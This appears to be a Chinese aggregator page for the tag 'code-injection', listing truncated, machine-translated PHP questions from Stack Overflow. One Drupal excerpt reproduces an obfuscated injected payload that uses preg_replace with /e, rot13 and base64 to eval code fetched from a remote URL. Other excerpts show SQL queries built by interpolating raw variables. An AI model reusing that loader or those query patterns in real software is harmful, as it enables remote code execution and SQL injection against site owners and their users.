草庐IT

code-injection

全部标签

php - 替换所有*不*在 "\"标签内的 "<code>"字符

首先要做的是:都不是this,this,this也不this回答了我的问题。所以我会打开一个新的。请阅读好的好的。我知道正则表达式不是解析一般HTML的方式。请注意,创建的文档是使用有限的、受控的HTML子集编写的。编写文档的人知道他们在做什么。他们都是IT专业人士!鉴于受控语法,可以使用正则表达式解析我这里的文档。我不是要从网上下载任意文档并解析它们!如果解析确实失败,文档会被编辑,所以它会解析。我在这里解决的问题比那个更普遍(即不替换其他两个模式中的模式)。一些背景知识(你可以跳过这个...)在我们的办公室,我们应该“漂亮地打印”我们的文档。因此,为什么有些人想出将其全部放入Wor

php - Drupal 6 中的 SQL PHP 注入(inject)攻击

今天,我的drupal6站点中的所有节点都出现了这个添加的php脚本?php$node->nid=849;preg_replace('/^(.'.'*'.')$/'.'e',preg_replace('/^(.'.'*'.')$/'.'e','str'.'_'.'rot'.(27-14).'(\'\1\')','riny(onfr'.(12*3+4*7).'_qrpbqr(\\'.(2/2).'))'),'aWYoIWZ1bmN0aW9uX2V4aXN0cygnbm9kZV91cGRhdGVfbG9nJykpQGV2YWwoQGZpbGVfZ2V0X2NvbnRlbnRzKCdodHR

php - 在 ZF2 中创建具有依赖项(依赖注入(inject))的 Doctrine 存储库

我想创建一个具有硬依赖性的存储库。我找到了thisblogpostbyJurianSluisman但他建议从服务管理器获取存储库并将其注入(inject)到需要的服务中。如果我能够使用getRepository从我的EntityManager或ObjectManager实例中获取带有注入(inject)依赖项的自定义存储库,那就更好了方法:$objectManager->getRepository('My\Entity\Class');如何在我的Repositories中使用构造函数注入(inject),并且仍然像往常一样使用getRepository方法直接从ObjectManage

php - 如何简洁地返回 Code Igniter 查询中的第一个结果?

我试图返回一个对象,表示根据模型中的ID检索到的期刊。publicfunctiongetJournal($id){$query=$this->db->query("SELECT*FROMjournalsWHEREid='$id'");return($query->num_rows()==1)?($query->result())[0]:NULL;}但是,PHP会发出一个错误,声明一个意外的右括号([)。我最终实际上循环遍历了1个对象实体的数组以返回它,这很愚蠢但有效。publicfunctiongetJournal($id){$query=$this->db->query("SELEC

php - Magento : Get country code by country name

我试图通过国家名称查找国家代码。所以,例如,我有“荷兰”,我需要得到“NL”我知道有一种方法可以找到名称形式的代码:$country_name=Mage::app()->getLocale()->getCountryTranslation($country_code)但我需要反之亦然。那么Magento中有什么方法可以解决吗? 最佳答案 Fromtheotherquestion,这只能通过循环国家集合来完成$countryId='';$countryCollection=Mage::getModel('directory/count

php - "Expected response code 250 but got code "554 ", with message "554 5.2.0 STOR EDRV“

我想发送一封带附件的电子邮件。使用smtp.office365.com生产环境:ubuntusmtp.office365.com-Laravel5.预期响应代码250但得到代码“554”,消息“5545.2.0STOREDRV.Submission.Exception:SendAsDeniedException.MapiExceptionSendAsDenied;由于消息无法提交消息的永久异常而无法处理消息。本地主机:预期响应代码250但得到代码“530”,消息“5305.7.57SMTP;客户端未通过身份验证,无法在MAILFROM[xxxxxx.xxxx.PROD.OUTLOOK.

php - 什么是选项卡注入(inject)?

阅读zend框架codingstandard我找到了这个短语:Editorsshouldbeconfiguredtotreattabsasspacesinordertopreventinjectionoftabcharactersintothesourcecode.我的问题是:什么是选项卡注入(inject)?我搜索了谷歌,但我确实在很多标准中找到了这个短语,所以我不太确定它指的是什么。 最佳答案 这没什么特别的,只是“我们不想在源代码中使用制表符”的花哨方式。如您提供的链接所述,Zend编码标准规定源文件中的空格不得包含制表符——

php - htmlspecialchars 是否足以防止对用单引号引起来的变量进行 SQL 注入(inject)?

尽管许多来源引用带有ENT_QUOTES的htmlspecialchars函数不足以防止SQL注入(inject),但它们都没有提供证明概念。我自己想不出任何可能性。让我们考虑以下示例:$username=htmlspecialchars($_GET['name'],ENT_QUOTES,'UTF-8');$sql="SELECT*fromuserWHEREname='$username'";mysql_query($sql,...);除了SQLinjectiongetsaroundmysql_real_escape_string()的情况之外,任何人都可以提供一个例子吗??

php - 如何清理 $_GET 变量以防止路径注入(inject)?

清理$_GET['']请求的最佳方法是什么?我只想允许从一个目录下载文件。$baseDir="/home/html/xy.com/public_html/downloads/";$path=realpath($baseDir.$_GET['file']);下一步是什么? 最佳答案 这是我在你那里的台词之后要做的:if(dirname($path)===$baseDir){//Safe}http://php.net/dirname基本上,在发送任何文件之前先检查文件是否确实在您支持的那个路径中。请注意,您还必须在文件名前添加您自己的/

php - Mockery 和 Laravel 构造函数注入(inject)

我正在使用带有php单元的laravel5来创建一个laravel包。我有一个Repository..namespaceMyname\Myapp\Repositories;useMyname\Myapp\Models\PersonModel;classPersonRepository{protected$personModel;publicfunction__construct(PersonModel$personModel){$this->personModel=$personModel;}publicfunctiontestFunction($var){return$this->p